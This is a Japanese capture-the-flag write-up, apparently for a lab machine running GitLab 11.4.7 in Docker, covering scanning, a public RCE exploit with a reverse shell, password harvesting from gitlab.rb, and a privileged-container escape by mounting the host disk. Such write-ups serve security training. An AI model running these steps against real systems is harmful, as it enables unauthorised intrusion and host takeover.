偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.220 Starting Nmap 7.92 ( https://nmap.org )
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 0.44% done Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 1.20% done; ETC: 11:23 (0:09:38 remaining) Warning: 10.10.10.220 giving up on port because retransmission cap hit (6). Stats: 0:11:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 98.21% done; ETC: 11:25 (0:00:13 remaining) Nmap scan report for 10.10.10.220 Host is up (0.18s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in 9412/tcp filtered unknown 25896/tcp filtered unknown 47210/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TCP/22,5080が開いていることがわかりました。
TCP/5080にブラウザにアクセスするとGitLabのページが表示されました。
※その他niktoやdirbからは有用な情報は見つけられませんでした。
アクセス取得
上記ページでユーザの登録が可能でした。
ユーザを登録しログインすると、Helpのページが見れるようになり、そこでGitLabのバージョンが11.4.7(赤字でアップデートの通知も出ているもの)であることがわかりました。
上記バージョンで検索するとExploitの情報が見つかりました。
※自分の環境ではExploit-DBにあったものをうまく動かすことができず、以下のサイトのものを使用させていただきました。Payloadのコマンド部分にあるncが動きませんでした。
上記Exploitのコードの中でIPアドレスを指定している部分をReadyのIPに変更して実行します。
また、実行するにはリバースシェルを配置するためのHTTPサーバと最終的なリバースシェルの待ち受けが必要になります。
Exploitを実行するとシェルが取得できました。
権限昇格
/に.dockerenvというファイルがありました。
また以下のコマンド実行結果から、現在コンテナ環境の中にいることがわかります。
git@gitlab:/$ cat /proc/1/cgroup cat /proc/1/cgroup 12:pids:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 11:memory:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 10:perf_event:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 9:devices:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 8:freezer:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 7:rdma:/ 6:hugetlb:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 5:cpuset:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 4:net_cls,net_prio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 3:cpu,cpuacct:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 2:blkio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 1:name=systemd:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda 0::/system.slice/containerd.service
docker関連のファイルを探してみます。
git@gitlab:/opt/backup$ find / -name 'docker*' 2>/dev/null find / -name 'docker*' 2>/dev/null /opt/gitlab/embedded/service/gitlab-rails/docker-compose.yml /opt/gitlab/embedded/service/gitlab-rails/doc/install/docker.md /opt/gitlab/embedded/service/gitlab-rails/doc/ci/docker /opt/gitlab/embedded/service/gitlab-rails/doc/ci/services/docker-services.md /opt/gitlab/embedded/service/gitlab-rails/doc/api/templates/dockerfiles.md /opt/gitlab/embedded/service/gitlab-rails/docker /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/template/dockerfile_template.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/fog-google-1.7.1/ci/docker-image /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/demos/docker /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/lexers/docker.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/sidekiq-cron-0.6.0/docker-compose.yml /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_image_spec.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_spec.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_pre_1_8_spec.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_image.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_base.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_container.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/ace-rails-ap-4.1.2/vendor/assets/javascripts/ace/snippets/dockerfile.js /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/flipper-0.13.0/docker-compose.yml /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/helper/docker.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/docker.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/dockerfile.rb /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/demos/docker /opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/lexers/docker.rb /opt/backup/docker-compose.yml /usr/share/vim/vim74/ftplugin/dockerfile.vim /usr/share/vim/vim74/syntax/dockerfile.vim /etc/apt/apt.conf.d/docker-gzip-indexes /etc/apt/apt.conf.d/docker-clean /etc/apt/apt.conf.d/docker-no-languages /etc/apt/apt.conf.d/docker-autoremove-suggests /etc/dpkg/dpkg.cfg.d/docker-apt-speedup
/opt/backup/docker-compose.ymlの中を見るとprivileged:trueという文字列が確認できました。
※「docker-compose.yml」はDockerの構成を定義したもので、コンテナはyamlの記載内容を元に起動します。また、「Privileged」は、ホストコンピュータに対するすべてのルート権限を備えたコンテナであることを示します。
git@gitlab:/opt/backup$ cat docker-compose.yml cat docker-compose.yml version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' - '/opt/user:/home/dude/' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16
また、同じディレクトリにあるgitlab.rbの中にパスワードの記載がありました。
git@gitlab:/opt/backup$ cat gitlab.rb | grep password cat gitlab.rb | grep password #### Email account password # gitlab_rails['incoming_email_password'] = "[REDACTED]" # password: '_the_password_of_the_bind_user' # password: '_the_password_of_the_bind_user' # '/users/password', #### Change the initial default admin password and shared runner registration tokens. # gitlab_rails['initial_root_password'] = "password" # gitlab_rails['db_password'] = nil # gitlab_rails['redis_password'] = nil gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" # gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false} ##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab` # postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH' # postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5` # redis['password'] = 'redis-password-goes-here' ####! **Master password should have the same value defined in ####! redis['password'] to enable the instance to transition to/from # redis['master_password'] = 'redis-password-goes-here' # geo_secondary['db_password'] = nil # geo_postgresql['pgbouncer_user_password'] = nil # password: PASSWORD ###! generate this with `echo -n '$password + $username' | md5sum` # pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)' # password: MD5_PASSWORD_HASH # postgresql['pgbouncer_user_password'] = nil
上記パスワードでsuを実行するとrootになりましたが、root.txtは見つかりません。
capsh --printで、現時点でのプロセスのケーパビリティの設定を見る事が出来ます。
実行結果には、cap_sys_admin、cap_sys_ptrace、cap_dac_override、cap_dac_read_search、およびcap_sys_moduleが許可されており、パーティションのマウント操作が可能となります。
マウント操作により、root.txtが見つかりました。
root@gitlab:~# capsh --print capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) root@gitlab:/# mkdir -p /tmp/porepore mkdir -p /tmp/porepore root@gitlab:/# mount /dev/sda2 /mnt/porepore mount /dev/sda2 /mnt/porepore root@gitlab:/# cd /mnt/porepore cd /mnt/porepore root@gitlab:/mnt/porepore# ls -al ls -al total 100 drwxr-xr-x 20 root root 4096 Apr 5 2022 . drwxr-xr-x 1 root root 4096 Oct 9 13:19 .. lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin drwxr-xr-x 3 root root 4096 Apr 5 2022 boot drwxr-xr-x 2 root root 4096 Apr 5 2022 cdrom drwxr-xr-x 5 root root 4096 Dec 4 2020 dev drwxr-xr-x 102 root root 4096 Apr 5 2022 etc drwxr-xr-x 3 root root 4096 Jul 7 2020 home lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32 drwx------ 2 root root 16384 May 7 2020 lost+found drwxr-xr-x 2 root root 4096 Apr 23 2020 media drwxr-xr-x 2 root root 4096 Apr 5 2022 mnt drwxr-xr-x 4 root root 4096 Apr 5 2022 opt drwxr-xr-x 2 root root 4096 Apr 15 2020 proc drwx------ 10 root root 4096 Apr 5 2022 root drwxr-xr-x 10 root root 4096 Apr 23 2020 run lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin drwxr-xr-x 6 root root 4096 Apr 5 2022 snap drwxr-xr-x 2 root root 4096 Apr 5 2022 srv drwxr-xr-x 2 root root 4096 Apr 15 2020 sys drwxrwxrwt 13 root root 12288 Oct 9 13:23 tmp drwxr-xr-x 14 root root 4096 Apr 5 2022 usr drwxr-xr-x 14 root root 4096 Dec 4 2020 var root@gitlab:/mnt/porepore# cd root cd root root@gitlab:/mnt/porepore/root# cat root.txt cat root.txt af4f47~~~~~~~~~~~~~~~~295d root@gitlab:/mnt/porepore/root#
参考にさせていただいたサイト
貴重な情報をありがとうございます。